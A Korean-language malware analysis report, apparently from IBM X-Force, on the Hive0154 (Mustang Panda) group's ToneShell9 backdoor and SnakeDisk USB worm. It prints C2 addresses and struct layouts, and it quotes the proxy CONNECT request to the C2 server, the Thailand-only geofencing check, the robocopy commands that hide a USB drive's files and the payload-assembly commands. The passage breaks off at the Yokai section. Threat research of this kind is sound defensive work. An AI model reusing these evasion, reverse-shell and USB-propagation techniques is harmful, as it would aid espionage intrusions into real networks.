Mustang Panda라고도 불리는 Hive0154는 업데이트된 ToneShell 백도어와 새로운 SnakeDisk USB 웜을 배포합니다.

가운데에 빨간색 코드 줄이 있는 파란색 코드를 표시하는 노트북 클로즈업

작성자

Golo Mühr

Malware Reverse Engineer

IBM

Joshua Chung

Cyber Threat Intelligence Analyst

IBM Security

2025년 7월, IBM X-Force는 중국과 연계된 위협 행위자 Hive0154에 기인하는 새로운 멀웨어를 발견했습니다. 여기에는 탐지를 회피하고 몇 가지 새로운 기능을 지원하는 업데이트된 ToneShell 변종과 8월 중순에 발견된 SnakeDisk라는 새로운 USB 웜이 포함됩니다. 이 웜은 태국 기반 IP 주소를 가진 디바이스에서만 실행되며 2024년 12월 Netskope가 발견한 Yokai 백도어를 삭제합니다.

주요 결과

  • 2025년 중반 내내 X-Force는 주로 싱가포르와 태국에서 업로드된 무기화된 아카이브에서 여러 Toneshell 및 Pubload 멀웨어 변종을 관찰했습니다.
  • VirusTotal 탐지를 회피하는 변종 중 하나는 최신 업데이트인 "ToneShell9"입니다. 엔터프라이즈 네트워크 트래픽과 혼합되도록 로컬로 구성된 프록시를 통해 명령 및 제어(C2) 통신을 지원하고 두 개의 리버스 셸을 병렬로 지원합니다.
  • X-Force는 태국에 위치한 기기에서만 실행되는 새로운 USB 웜인 SnakeDisk를 IP 주소를 기반으로 분석했습니다. 이 웜은 Tonedisk와 겹치는 코드를 표시하고 신규 및 기존 USB 디바이스를 탐지할 수 있으며 이를 전파 수단으로 무기화합니다.
  • 분석된 SnakeDisk 샘플은 감염된 디바이스에 Yokai 백도어를 드롭하여 운영자가 임의의 명령을 실행할 수 있도록 리버스 셸을 설정합니다. Yokai는 이전에 2024년 12월 태국 관리를 표적으로 하는 캠페인에 연루된 바 있습니다.

도입 배경

Hive0154는 대규모 멀웨어 무장, 일관된 기술, 지난 몇 년간 잘 문서화된 활동을 통해 중국과 연계된 것으로 잘 알려진 위협 행위자입니다. 이 그룹은 여러 하위 클러스터로 구성되며 싱크탱크, 정책 그룹, 정부 기관 및 개인을 포함한 공공 및 민간 조직을 대상으로 하는 사이버 공격에 참여합니다. X-Force가 그룹이 여러 사용자 정의 멀웨어 로더, 백도어 및 USB 웜 제품군을 사용하는 것을 관찰한 결과는 그들의 고급 개발 기능을 보여줍니다. Hive0154 활동은 Mustang Panda, Stately Taurus, Camaro Dragon, Twill Typhoon, Polaris 및 Earth Preta로 공개적으로 보고된 위협 행위자와 겹칩니다.

동아시아를 겨냥한 사이버 스파이 활동

2025년 중반 내내 X-Force는 싱가포르와 태국에서 VirusTotal에 업로드된 여러 무기화된 아카이브를 관찰했습니다.

파일명

악성 DLL

C2 서버

날짜

Meeting Venue Request Information.zip

Pubload 셸코드를 주입하는 로더

188.208.141[.]
196:443

5월 21일

Hotel Booking Request.7z

Toneshell8

146.70.29[.]
229:443

7월 3일

Cyber_Safety_
Checklist_
2025.rar

Toneshell8

146.70.29[.]
229:443

7월 30일

TNLA နှင့် အခြားတော်လှန်ရေးအင်အားစုများ.rar

(미얀마 번역: "TNLA 및 기타 혁명 세력")

 Toneshell8

146.70.29[.]
229:443

7월 30일

Scan(08-02-205).zip

Toneshell8

146.70.29[.]
229:443

8월 5일

Notes.rar

Pubload 셸코드를 주입하는 로더

188.208.141[.]
196:443

8월 21일

CallNotes.zip

ToneShell7 셸코드를 주입하는 로더

146.70.29[.]
229:443

9월 4일

Hive0154는 새로운 로더를 사용하여 Pubload 또는 ToneShell7을 반사적으로 주입하고 더 난독화된 ToneShell8 변종을 직접 배포하는 것이 관찰되었습니다. 가장 최근의 Pubload 변종은 사소한 변경을 거쳤으며 이제 TLS 트래픽을 모방하는 원시 TCP 외에도 HTTP POST를 통해 미끼 C2 서버와 셸코드 페이로드 다운로드를 지원합니다.

9월에 발견된 아카이브 "CallNotes.zip" 은 미얀마 외무부를 사칭한 PDF 미끼 링크를 통해 Box 클라우드 스토리지에서 다운로드되었습니다.

ToneShell7을 배포하는 무기화된 아카이브에 대한 다운로드 링크가 포함된 PDF
그림 1: ToneShell7을 배포하는 무기화된 아카이브에 대한 다운로드 링크가 포함된 PDF

8월 중순, X-Force는 이전 Tonedisk 변종과 겹치는 새로운 USB 웜인 SnakeDisk도 발견했습니다. 이 웜은 공개 IP 주소로 확인된 태국에 위치한 디바이스에서만 실행됩니다. SnakeDisk는 2024년 12월 Netskope가 태국을 대상으로 하는 다른 여러 캠페인과 공개적으로 연결한 Yokai 백도어를 배포합니다. 

태국에 대해 Yokai 백도어가 사용된 이전의 역사를 고려할 때, 최신 USB 웜의 발견은 태국을 둘러싼 최근의 지정학적 사건과 일치하는 것으로 보였습니다.

  • 2025년 5월 말, 태국과 캄보디아는 캄보디아 군인 한 명이 사망하는 국경 충돌을 겪었습니다. 이후 태국과 캄보디아 간의 협상은 결렬되었고, 양측은 국경을 따라 병력을 보강했습니다. 
  • 2025년 6월, 패통탄 친나왓 태국 총리와 훈센 전 캄보디아 지도자 간의 전화 통화 내용이 유출되어 태국 총리가 해임되는 사건이 발생했습니다.
  • 2025년 7월 24일, 태국과 캄보디아 간에는 포격, 공습, 해군 포격 등 여러 차례의 국경 충돌이 발생했습니다. 2025년 7월 28일, 양측은 미국과 말레이시아의 중개를 통해 잠정 휴전에 도달했습니다.
  • 2025년 8월 초, 캄보디아 정부는 태국군이 캄보디아 총리에 대한 암살 공격을 계획하고 있다고 비난했지만 태국 정부는 이를 부인했습니다. 캄보디아 정부는 '익명의 해외 정보원'을 출처로 언급했습니다.

전통적으로 중국은 캄보디아에 무기를 공급하고 인프라 프로젝트에 수십억 달러를 투자하는 등 캄보디아의 후원자 역할을 해왔습니다. 최근의 지정학적 사건으로 인해 Hive0154는 태국에 대한 작전을 개시할 수 있었습니다. 태국 기반 시스템에서만 실행되도록 구성된 SnakeDisk USB 웜의 배포는 Hive0154가 정부 네트워크에서 자주 사용되는 에어 갭 시스템에 침투하려고 할 수 있음을 시사하는 것으로 보입니다.

ToneShell8 업데이트(2025년 3월)

X-Force는 2025년 3월에 Toneshell 버전 8을 처음으로 선보였습니다. 이전 버전 7과 동작이 매우 유사하지만 정적 탐지를 회피하고 분석을 방해하기 위한 사소한 업데이트가 포함되어 있습니다. 가장 눈에 띄는 변화는 멀웨어의 기능에 정크 코드가 포함되었다는 점입니다. 이러한 정크 코드 섹션은 다음과 같은 동작을 구현합니다.

  • API 호출을 사용하여 임의의 임시 파일을 작성하고 다시 삭제합니다.
  • 문자열을 복사하고 반복합니다. 초기 샘플에 사용된 문자열은 OpenAI의 ChatGPT 웹사이트에서 복사했습니다.
  • 임의의 간격으로 수면

예를 들어 이 세 가지 코드 예제는 모든 API를 해결하는 함수에서 찾을 수 있습니다.

무작위 수면 정크 코드
그림 2: 무작위 수면 정크 코드
정크 코드에서 생성되고 삭제된 무작위 파일을 보여주는 코드 조각
그림 3: 정크 코드에서 생성 및 삭제된 임의 파일
정크 코드에서 쓸모없는 문자열 스캐닝을 보여주는 코드 스니펫
그림 4: 정크 코드에서 쓸모없는 문자열 스캔

ToneShell8 개발자는 또한 의사 난수 생성기(PRNG)를 다양한 상수를 사용하는 맞춤형 선형 합동 생성기(LCG) 구현으로 대체하기로 결정했습니다. 예를 들면 다음과 같습니다.

DWORD __cdecl zf_update_prng(main_struct *main_struct)
{
  main_struct->prng_state = 0xBD828 * main_struct->prng_state + 0x4373A;
  return main_struct->prng_state;
}

PRNG는 Toneshell에서 피해자 ID, C2 트래픽 암호화 키를 생성하고 C2 비콘 진위 여부를 확인하는 데 사용됩니다. ToneShell8 샘플의 구현은 품질이 크게 다릅니다. 예를 들어 위의 생성기는 위에 나열된 4개의 샘플에서 사용되며 대부분의 시드에 대해 11개의 서로 다른 상태만 생성합니다. 

마지막으로, 운영자에게 특정 명령의 상태를 알리는 C2 서버로 전송되는 하드코딩된 응답 코드는 이제 샘플의 다른 하드코딩된 정수에서 계산하여 난독화됩니다. 

ToneShell9(2025년 7월)

지난 7월, X-Force는 새로운 Toneshell 변종을 발견했는데, 이를 Toneshell9이라고 부릅니다. 중요한 업데이트가 포함되어 있으며 작성 당시 VirusTotal에 대한 탐지 기능이 없습니다(318a1ebc0692d1d012d20d306d6634b196cc387b1f4bc38f97dd437f117c7e20). 

새로운 ToneShell 변종은 "USB Safely 제거" 소프트웨어가 포함된 트로이 목마 RAR 아카이브에서 처음 관찰되었습니다. 코드 구조는 2024년 12월의 포크된 변형을 기반으로 한 것으로 보이며, 동일한 C2 구성이 포함되어 있습니다.

초기화

이전 변종과 유사하게 ToneShell9는 사이드로드된 DLL로 실행됩니다. 무기화된 RAR 아카이브에는 합법적인 실행 파일인 " USBSRService.exe"를 실행하는 BAT 파일이 포함되어 있습니다. "-Embedding" 명령줄 인수와 함께 사용할 수 있습니다. ToneShell DLL "EasyFuncs.exe"가 메모리에 로드되고 FS_RegActiveX 내보내기가 실행되면 초기화에 필요한 첫 번째 API 세트를 확인하는 것으로 시작됩니다. "-Embedding" 명령줄 인수를 구문 분석한 후 ToneShell은 "EvtSys" 인수를 사용하여 새 프로세스에서 상위 실행 파일을 시작합니다. 후자의 인수는 악성 DLL의 주요 동작을 트리거합니다. 

ToneShell은 다음 값을 포함하는 새 클라이언트 객체를 초기화하는 것으로 시작합니다.

struct TONESHELL_CLIENT
{
  BYTE is_connected;
  HANDLE heartbeat_thread;
  C2_CLIENT *p_c2_client;
  DWORD unused_C;
  VICTIM_DATA *p_victim_data;
  DWORD unused_14;
  QWORD tick_count;
};

그런 다음 사용자 지정 해싱 함수를 통해 필요한 나머지 API를 확인하고 함수 포인터를 별도의 구조체에 저장합니다. 다음으로 동일한 시스템에서 여러 인스턴스가 실행되지 않도록 하는 뮤텍스 역할을 하는 새로운 이벤트 "Windows 외부 모듈"을 만듭니다. 

ToneShell9은 현재 CPU 틱 수를 검색하고 결과를 문자열로 저장하고 다시 할당을 취소하는 여러 정크 코드 섹션으로 가득 차 있습니다. 

API 분석 로직 내의 ToneShell9 정크 코드 스니펫
그림 5: API 분석 로직 내의 ToneShell9 정크 코드

C2 통신, 프록시 서버, 비콘 및 페이로드를 메모리에서 관리하고 저장하기 위해 ToneShell은 129KB의 대형 객체를 인스턴스화합니다.

struct C2_CLIENT
{
  std::vector<std::string> c2_list;
  SOCKADDR_IN c2_sockaddr_array[16];
  int current_c2_sockaddr_index;
  int number_of_c2s;
  BYTE key[768];
  SOCKET ptr_socket;
  DWORD beacon_tls_header;
  BYTE beacon_payload_buffer[65536];
  BYTE c2_response_buffer[65536];
  DWORD size_of_c2_response;
  BYTE critical_section[24];
  std::list<proxy_entry> proxy_list;
  int proxy_enabled;
  int current_c2_string_index;
};

이전 변형과 달리 ToneShell9은 HKEY_LOCAL_MACHINE, HKEY_CURRENT_USER 및 HKEY_USERS\.DEFAULT 레지스트리 하이브를 열거하여 로컬로 구성된 프록시 서버를 검색합니다. 

Windows 레지스트리에서 ToneShell9 구문 분석 프록시 서버를 보여주는 코드 스니펫
그림 6: Windows 레지스트리에서 프록시 서버를 구문 분석하는 ToneShell9

서버가 발견되면 URL의 프로토콜(http, https, ftp또는 socks)과 전체 URL이 객체 목록에 문자열로 저장됩니다. 

다음으로 ToneShell은 C2 서버 도메인과 IP 주소를 문자열 벡터에 저장합니다. 하드코딩된 동일한 IP 및 포트가 SOCKADDR_IN 구조의 배열에 직접 저장됩니다. 그런 다음 멀웨어는 C2 서버 문자열을 반복하여 각 문자열의 IP 주소를 확인하고 이를 동일한 SOCKADDR_IN 구조 배열에 추가합니다.

C2 서버 주소를 확인하고 저장하는 ToneShell을 보여주는 코드 스니펫
그림 7: C2 서버 주소를 확인하고 저장하는 ToneShell

이전 버전에서 볼 수 있듯이 Toneshell은 Windows_rand() 함수를 통해 생성된 임의의 16바이트 피해자 GUID를 포함하는 파일을 삭제합니다.

C:\ProgramData\ProgrammaticallyCpp.inc

GUID는 파일 경로 및 피해자의 NetBIOS 이름과 함께 구조체에도 저장됩니다. 

struct VICTIM_DATA
{
  BYTE victim_guid[16];
  BYTE computername[24];
  BYTE guid_path[24];
};

위 데이터는 메모리에 비콘 객체를 구성하는 데 사용됩니다. 특히 ToneShell9은 위에서 설명한 주요 초기화 동작 전후의 CPU 틱 수의 차이를 계산합니다. 이 값은 정규화되며 샌드박스 실행 또는 디버깅이 지연되었음을 나타낼 수 있는 실행 시간의 이상 징후를 감지하는 데 사용됩니다. 

struct BEACON_DATA
{
  BYTE key[768];   
  BYTE code_byte;       // set to 0x02
  BYTE victim_guid[16];
  BYTE computername[80];
  DWORD tick_delta;
};

 0x300바이트 XOR 키는 _rand()를 통해 생성되며 오프셋 0x300에서 시작하여 101바이트의 데이터를 암호화하는 데 사용됩니다. 위 데이터는 다음 형식의 가짜 TLS 1.2 애플리케이션 데이터 패킷에 패키징되어 있습니다.

struct BEACON
{
  BYTE tls_header[3];       // 17 03 03
  WORD payload_size;        // 0x0365 (big-endian)
  BYTE payload_data[869];  
};

C2 통신 및 HTTP 프록시

메인 루프 중에 ToneShell9은 C2 서버에 대한 소켓 연결을 설정하는 기능을 실행합니다. 첫 번째 SOCKADDR_IN 구조를 통해 연결을 시도하는 것으로 시작됩니다. 실패하면 멀웨어는 레지스트리에서 수집한 프록시 서버를 통해 소켓 연결을 설정하려고 시도합니다. 이는 각 C2 주소 문자열, 즉 위에서 분석된 샘플의 IP 주소 및 도메인에 대해 시도됩니다. 

프록시 서버의 IP 주소를 확인하고 TCP 소켓을 통해 연결한 후 먼저 전송 및 수신 시간 초과를 1분으로 설정합니다. 다음으로 다음 연결 요청을 보냅니다. 

CONNECT <C2 server>:<C2 port> HTTP/1.0
Host: <C2 server>:<C2 port>
Content-Length: 0
Proxy-Connection: Keep-Alive
Pragma: no-cache

프록시 서버가 2xx 상태 코드를 반환하면 연결이 성공적으로 설정된 것이며 원시 TCP 터널링을 사용할 준비가 된 것입니다. ToneShell9은 C2 서버와의 연결을 확인하기 위해 짧은 핸드셰이크 프로토콜을 사용하며 이 과정에서 서버의 IP와 포트도 전송합니다. 핸드셰이크에 성공하면 소켓에 대한 핸들이 C2_CONNECTION 구조체에 저장되고 소켓 시간 초과가 2분으로 설정됩니다. 그런 다음 ToneShell은 소켓을 통해 첫 번째 알림 비콘을 보냅니다. 

처음 5바이트는 이전에 전송된 XOR 키를 통해 암호화된다는 점을 제외하고는 서버에서 유사한 응답을 다시 받을 것으로 예상합니다.

struct C2_RESPONSE
{
    BYTE tls_header[3];     // 17 03 03
    WORD payload_size;      // big-endian
    BYTE command_code;
    BYTE shell_id;
    BYTE data[];
}

ToneShell은 감염된 디바이스에 이미 구성된 프록시를 사용하여 다른 네트워크 트래픽과 효과적으로 혼합할 수 있습니다. 대규모 엔터프라이즈 환경에서는 송신 필터링을 적용하여 신뢰할 수 있는 게이트웨이를 통한 트래픽만 허용하는 경우가 많으며, 이로 인해 직접적인 C2 통신이 차단됩니다. 이러한 필터링을 우회할 수 있는 Toneshell의 추가 기능으로 보안이 철저한 네트워크 환경에서 작동할 수 있습니다.

리버스 셸

첫 번째 C2 응답을 받으면 ToneShell은 0x1 응답 코드와 임의의 Shell_id 값을 사용하여 30초마다 하트비트와 유사한 응답 비콘을 보내는 새 스레드를 시작합니다. 응답 비콘은 매우 유사한 형식을 가지고 있습니다.

struct BEACON_CMD_RESPONSE
{
    BYTE tls_header[3];     // 17 03 03
    WORD payload_size;      // big-endian
    BYTE response_code;
    BYTE shell_id;
    BYTE data[];
}

ToneShell9은 다음 명령 코드를 지원합니다.

코드

설명

2

이 비콘을 건너뛰고 다음 비콘이 처리할 때까지 립니다.

3

새 리버스 셸을 생성하고 shell_id에 할당합니다.

4

shell_id로 식별되는 역셸에 명령 문자열을 작성합니다.

5

Shell_id로 식별되는 리버스 셸을 닫습니다.

이전 변형과 마찬가지로 리버스 셸은 새 cmd.exe 프로세스의 stdin stdout 핸들에 연결된 익명 파이프를 사용하여 설정됩니다. ToneShell9은 두 개의 활성 리버스 셸을 병렬로 지원하며 아래 구조를 사용하여 셸 연결을 관리합니다.

struct REVERSE_SHELL
{
  int shell_id;
  BYTE cmd_path[24];
  HANDLE hReadPipe1;
  HANDLE hWritePipe1;
  HANDLE hReadPipe2;
  HANDLE hWritePipe2;
  DWORD hThread_cmd;
  DWORD hProcess_cmd;
  DWORD parent_pid;
  BYTE cmd_process_created;
  DWORD hThread_pipe_to_c2;
};

각 리버스 셸에 대해 새 스레드가 생성되어 stdout 파이프에서 새 데이터를 정기적으로 확인하고 응답 코드 0x4와 함께 비콘의 C2 서버로 다시 보냅니다. ToneShell 운영자는 올바른 Shell_id를 사용하여 파이프에 문자열 데이터를 쓰고 시스템에서 임의의 명령을 실행할 수 있습니다. 리버스 셸을 닫으면 parent_pid로 식별되는 conhost.exe 프로세스도 시스템에서 종료됩니다. 

SnakeDisk USB 웜

2025년 8월, X-Force는 이전에 알려지지 않은 USB 웜을 발견했는데, 이 웜은 Hive0154의 원인이었습니다. 32비트 DLL이 VirusTotal에 "01.dat"로 업로드되었습니다. 태국에서 개발되었으며 Toneshell9와 유사한 기능을 제공합니다. 둘 다 DLL 사이드로딩을 통해 실행되며, DllEntryPoint와 멀웨어의 진입점을 제외한 모든 내보내기가 동일한 함수를 가리키며 즉시 반환됩니다. 또한 둘 다 거의 모든 ToneShell 관련 멀웨어와 일치하는 거의 동일한 API 확인 메커니즘을 갖추고 있습니다. ToneShell9 샘플과 마찬가지로 SnakeDisk는 명령줄 인수를 읽고 두 가지 가능한 실행 경로 중 하나를 선택합니다.

  • "-Embedding": 디바이스가 제거되면 임베디드 페이로드를 삭제하고 실행하기 전에 USB 감염 동작을 시작합니다.
  • "-hope": 내장된 페이로드를 즉시 삭제하고 실행합니다.

초기화

USB 감염 기능을 실행하려면 SnakeDisk에 구성 파일이 필요하며, 상위 실행 파일의 현재 디렉토리에서 이를 검색합니다. 이름이 "System Volume Information"인 경우를 제외하고 해당 디렉토리에서 발견된 모든 파일은 잠재적 구성 파일 목록에 추가됩니다. Tonedisk는 계속해서 각 파일을 열고 읽으며, 암호 해독을 진행하기 전에 다음 조건을 확인하여 파일을 확인합니다.

  • 파일 크기는 0x14A~0x14000바이트입니다.
  • 처음 4바이트는 파일의 나머지 부분에 대한 올바른 CRC32 해시입니다.

SnakeDisk는 사용자 지정 2단계 XOR 알고리즘과 330바이트 헤더에 저장된 320바이트 키를 사용하여 데이터를 해독하는 방식으로 진행됩니다. 

XOR 기반 구성 복호화 알고리즘을 보여주는 코드 스니펫
그림 8: XOR 기반 구성 암호 해독 알고리즘

마지막으로 멀웨어는 멀웨어의 구성을 정의하는 18개의 문자열 값을 구문 분석합니다. X-Force는 구성 파일을 복구할 수 없었지만 SnakeDisk를 분석한 결과 다음과 같은 값의 용도가 있는 것으로 나타났습니다.

구성 필드

목적

버전

이미 감염된 클라이언트를 업데이트된 변종으로 다시 감염시켜야 하는지 결정하는 데 사용되는 멀웨어 버전입니다.

mutx

뮤텍스 문자열.

psd

분석된 샘플에서는 사용되지 않습니다. "usd "와 동일한 로컬 값일 수 있습니다. 모든 "u*" 값은 무기화 후 USB에 있는 파일/디렉토리 이름입니다. 

urd

"USB 루트 디렉토리"일 수 있습니다. 하위 디렉토리가 포함된 USB에 생성된 디렉토리 이름입니다.

uud

"USB 사용자 디렉토리"일 수 있습니다. USB의 사용자 원본 파일이 포함된 <urd> 아래의 디렉토리 이름입니다.

usd

"USB 스테이징 디렉토리"일 수 있습니다. SnakeDisk의 다양한 악성 구성 요소를 저장하는 <urd> 아래의 디렉토리 이름입니다.

pnex

"상위 이름 실행 가능"일 수도 있습니다. 실행 중에 SnakeDisk의 현재 디렉토리에 존재하는 파일의 파일 이름입니다.

pndl

"상위 이름 DLL"일 수 있습니다. 실행 중에 SnakeDisk의 현재 디렉토리에 존재하는 파일의 파일 이름입니다.

pnen

"상위 이름 암호화됨"일 수 있습니다. 실행 중에 SnakeDisk의 현재 디렉토리에 존재하는 파일의 파일 이름입니다.

pnendl

"상위 이름 암호화된 DLL"일 수 있습니다. 실행 중에 SnakeDisk의 현재 디렉토리에 존재하는 파일의 파일 이름입니다.

unex

"USB 이름 실행 가능"일 수 있습니다. <pnex>에서 USB로 복사된 파일의 파일 이름입니다.

undl

"USB 이름 DLL"일 수 있습니다. <pndl>에서 USB로 복사된 파일의 파일 이름입니다.

unen

"USB 이름 암호화됨"일 수 있습니다. <pnen>에서 USB로 복사된 파일의 파일 이름입니다.

unendl

"USB 이름 암호화된 DLL"일 수 있습니다. <pnendl>에서 USB로 복사된 파일의 파일 이름입니다.

unendl_org

<pnendl>에서 USB의 루트 디렉토리로 복사되고 파일 속성을 통해 숨겨진 파일(아마도 DLL)의 파일 이름입니다.

unconf

USB에 저장된 SnakeDisk 구성의 파일 이름입니다.

regkey

이는 레지스트리 지속성 메커니즘과 관련이 있을 가능성이 있습니다. 분석된 샘플에서는 사용되지 않습니다.

schkey

잠재적으로 예약된 작업 지속성 메커니즘과 관련이 있습니다. 분석된 샘플에서는 사용되지 않습니다.

구성 파일을 성공적으로 읽은 후 SnakeDisk는 현재 태국 기반 시스템에서 실행되고 있는지 확인합니다. http://ipinfo[.]io/json으로 HTTP GET 요청을 보내고 "국가" 필드가 "THA" 또는 "TH"와 일치하는지 확인합니다. 이 경우 실행이 계속됩니다.

GET /json HTTP/1.1
Connection: Keep-Alive
User-Agent: Program/1.0
Host: ipinfo.io

특히 API를 확인하거나 네트워크 통신 중에 오류가 발생하더라도 실행은 계속됩니다. 

그런 다음 SnakeDisk는 뮤텍스 "Global\\<mutx config value>"을 열려고 시도하여 단일 인스턴스에서만 실행되도록 합니다. 뮤텍스가 이미 존재하는 경우 멀웨어가 종료됩니다. 그렇지 않으면 CreateMutexW를 통해 뮤텍스를 만듭니다.

USB 디바이스 감지

이미 연결된 USB 드라이브를 감염시키기 위해 SnakeDisk는 AZ에서 가능한 모든 드라이브 문자를 반복하기 시작합니다. 물리적 볼륨에 대한 핸들(예: "\\.\A:" )을 열고 IO 제어 코드 IOCTL_STORAGE_GET_HOTPLUG_INFO(0x2D0C14)를 디바이스로 전송합니다. 디바이스가 반환된 STORAGE_HOTPLUG_INFO 구조에 따라 핫플러그 디바이스인 경우 새 스레드를 시작하여 해당 드라이브를 감염시킵니다. 

모든 드라이브 문자를 검토한 후 SnakeDisk는 5초 동안 휴면한 다음 새 창 클래스 "TestClassName"을 등록하고 해당 창 "TestWindowsName"을 만듭니다. 이 함수는 운영 체제에서 메시지를 검색하기 위해 GetMessageW를 사용하여 Windows 메시지 루프를 생성하고 TranslateMessageDispatchMessageW를 통해 멀웨어의 창 프로시저에 메시지를 전달합니다. WM_CAP_PAL_OPEN(0x450) 메시지를 수신할 때만 루프를 종료합니다. 악성 윈도우 클래스는 WM_DEVICECHANGE(0x219) 메시지, 특히 DBT_DEVICEARRIVAL(0x8000) 및 DBT_DEVICEREMOVECOMPLETE(0x8004) 이벤트를 수신 대기하는 사용자 지정 프로시저를 참조합니다. 

WM_DEVICECHANGE 메시지를 수신하는 Window 클래스 콜백 함수
그림 9: WM_DEVICECHANGE 메시지를 수신하는 Window 클래스 콜백 함수

예를 들어, USB 디바이스가 감염된 시스템에 연결되어 있을 때 이러한 메시지가 수신되면 함수는 DEV_BROADCAST_VOLUME 구조의 "dbcv_unit Mask" 필드를 사용하여 해당 디바이스의 드라이브 문자를 확인합니다. 새로 연결된 디바이스의 경우 드라이브를 감염시키기 위해 새 스레드가 시작됩니다. SnakeDisk가 디바이스 제거를 감지하면 스레드를 시작하여 임베디드 페이로드를 삭제하고 실행하며, "-hope" 명령줄 인수를 사용한 SnakeDisk DLL의 실행으로 인해 발생한 것과 동일한 실행 경로가 시작됩니다. 

USB 전파

감지된 USB 디바이스를 감염시키는 스레드는 드라이브에서 기존 구성 파일을 검색하여 이미 감염되었는지 확인하는 것으로 시작합니다. 확장자가 .dat 또는 .cd인 모든 파일에서 구성을 해독하고 구문 분석을 시도합니다. 구성이 구문 분석되면 멀웨어는 이미 감염된 드라이브의 버전 번호를 자체 구성의 버전과 비교하여 이전 버전의 SnakeDisk가 설치된 드라이브만 다시 감염시킵니다. 

그런 다음 SnakeDisk는 다른 스레드를 시작하여 USB에 있는 기존 파일을 새 하위 디렉토리로 이동합니다. 멀웨어는 기본적으로 사용자가 예상하는 파일을 USB에 숨겨 피해자가 USB가 아직 열리지 않았다고 믿고 디바이스와 이름이 같은 새 머신에서 무기화된 실행 파일을 실수로 클릭할 가능성을 높입니다. 실행 후 악성 런처는 의심을 피하기 위해 사용자의 파일을 다시 복사합니다. 감염된 디바이스의 사용자 데이터가 포함된 경로는 다음과 같은 구성 값으로 구축됩니다.

<drive_letter>:\<urd>\<uud>\

멀웨어는 작업을 위해 각각 고유한 스레드에서 실행되는 두 가지 다른 메커니즘을 사용할 수 있습니다. 첫 번째는 SHFIleOperationW를 사용하여 각 파일을 이동하고 모든 작업 중에 "C:\\Windows\\Tmp\\msd.log" 파일에서 32바이트를 읽어서 "C:\\ProgramData\\app.log" 파일에 기록한 후 삭제합니다. 이러한 행동의 목적은 명확하지 않습니다. 

위협 행위자가 USB에서 새 디렉토리로 파일을 이동하는 것을 보여주는 코드
그림 10: USB에서 새 디렉토리로 파일 이동

스레드가 실행되는 동안 멀웨어는 두 번째 스레드를 실행하기 전에 30초 동안 성공적으로 완료되었는지 정기적으로 확인합니다. 두 번째 스레드는 robocopy를 사용하여 파일을 이동하고 새 프로세스에서 다음 명령을 실행합니다.

robocopy <drive_letter>:\ <drive_letter>:\<urd>\<uud>\ /XD
"<drive_letter>:\<urd>\" /XF "<drive_letter>:\<unendl_org>" /XF
"<drive_letter>:\<usb_volumename>.exe" /XD "System Volume Information" /E
/MOVE

두 파일 이동 모두 SnakeDisk의 무기화된 파일과 USB 디스크의 루트 디렉토리에 남아 있어야 하는 "시스템 볼륨 정보" 파일은 제외됩니다. 위의 명령을 실행한 후 동일한 파일을 포함하고 대상보다 오래된 소스 디렉토리 파일을 제외하기 위해 두 개의 추가 플래그 "/IS" 및 "/XO"와 함께 동일한 명령이 다시 실행됩니다. 

USB에 이미 존재하는 파일을 이동한 후, SnakeDisk는 현재 디렉토리에서 USB 드라이브로 자체 페이로드를 복사합니다. 구성에 지정된 다음 파일은 CopyFileW를 통해 각각 새 스레드에 복사됩니다.

.\<pnex> copied to <drive_letter>:\<urd>\<usd>\<unex>
.\<pndl> copied to <drive_letter>:\<urd>\<usd>\<undl>
.\<pnen> copied to <drive_letter>:\<urd>\<usd>\<unen>
.\<pnendl> copied to <drive_letter>:\<urd>\<usd>\<unendl>
.\<pnen> copied to <drive_letter>:\<usb_volumename>.exe
.\<pnendl> copied to <drive_letter>:\<unendl_org>

USB 드라이브의 루트에 있는 EXE 파일 이름은 USB 디바이스의 볼륨 이름으로 설정하거나, 비어 있는 경우 "USB.exe"로 설정합니다. SnakeDisk는 또한 "<drive_letter>:\<unendl_org>"로 복사된 파일의 SYSTEM 및 HIDDEN 속성을 설정합니다. USB의 모든 디렉토리에는 이러한 속성도 포함되어 있어 실행 파일과 별도로 모든 것을 효과적으로 숨깁니다. X-Force는 다른 파일을 검색하지 못했지만, 이전의 USB 웜은 동일한 기술을 사용하여 피해자가 실행 파일을 클릭하도록 유도했습니다. 그러면 DLL이 사이드로드되어 감염이 시작됩니다. 해당 악성 DLL의 파일 이름은 "unendl_org" 구성 값에 저장되어 있을 가능성이 높습니다. 마지막으로 SnakeDisk는 "unconf" 값의 이름을 사용하여 USB의 새 파일에 구성을 기록합니다. 

페이로드 실행

임베디드 페이로드를 삭제하고 실행하는 SnakeDisk 스레드는 USB 디바이스 제거가 감지되거나 "-hope" 명령줄 인수를 통해 SnakeDisk 실행이 시작될 때 시작됩니다. 

먼저 스레드는 디렉토리에서 마커 파일 "vm.ini"를 읽고 콘텐츠를 자체 현재 경로와 비교합니다. 이 파일은 페이로드를 성공적으로 삭제하고 실행한 후에도 작성되며 피해자가 이미 SnakeDisk의 내장된 페이로드에 감염되었는지 여부를 나타냅니다. 경로가 일치하면 페이로드가 삭제되지 않고 스레드가 종료됩니다. 

첫 번째 검사 후 SnakeDisk는 일련의 페이로드를 "C:\Users\Public\" 디렉토리에 드롭하기 시작합니다. 각 파일은 0.6MB에서 3.3MB 사이의 큰 함수에서 즉시 값으로 메모리에서 구성됩니다.

이진 페이로드를 구성하는 분해된 함수 코드를 보여주는 코드
그림 11: 바이너리 페이로드를 구성하는 분해된 함수

그런 다음 페이로드는 파일로 삭제되기 전에 간단한 XOR 연산을 통해 암호를 해독하여 다음을 수행합니다.

  • C:\Users\Public\srv0
  • C:\Users\Public\srv1
  • C:\Users\Public\srv2
  • C:\Users\Public\loga
  • C:\Users\Public\logb
  • C:\Users\Public\logc

이러한 파일은 3개 그룹으로 연결되어 다음 명령을 통해 두 개의 최종 페이로드를 생성합니다.

cmd.exe /c cd "c:\users\public\" & copy /b "srv0"+"srv1"+"srv2"
c:\users\public\libcef.dll
cmd.exe /c cd "c:\users\public\" & copy /b "loga"+"logb"+"logc"
c:\users\public\<randomised_name>.exe

EXE의 파일 이름은 10개의 임의의 대문자와 숫자로 만들어집니다. 연결 후에는 파일이 삭제됩니다. 

마지막으로, 실행 파일은 하드코딩된 명령줄 인수를 사용하여 새 프로세스에서 시작됩니다.

c:\users\public\<randomised_name>.exe -project-mod

놀랍지 않게도, EXE(bb5bb82e5caf7d4dbbe878b75b23f793a5f3c5ca6dba70d8be447e8c004d26ce)는 실행 중에 악성 libcef.dll을 사이드 로드하는 합법적이고 서명된 실행 파일(acwebbrowser.exe)이었습니다. 

Yokai 백도어

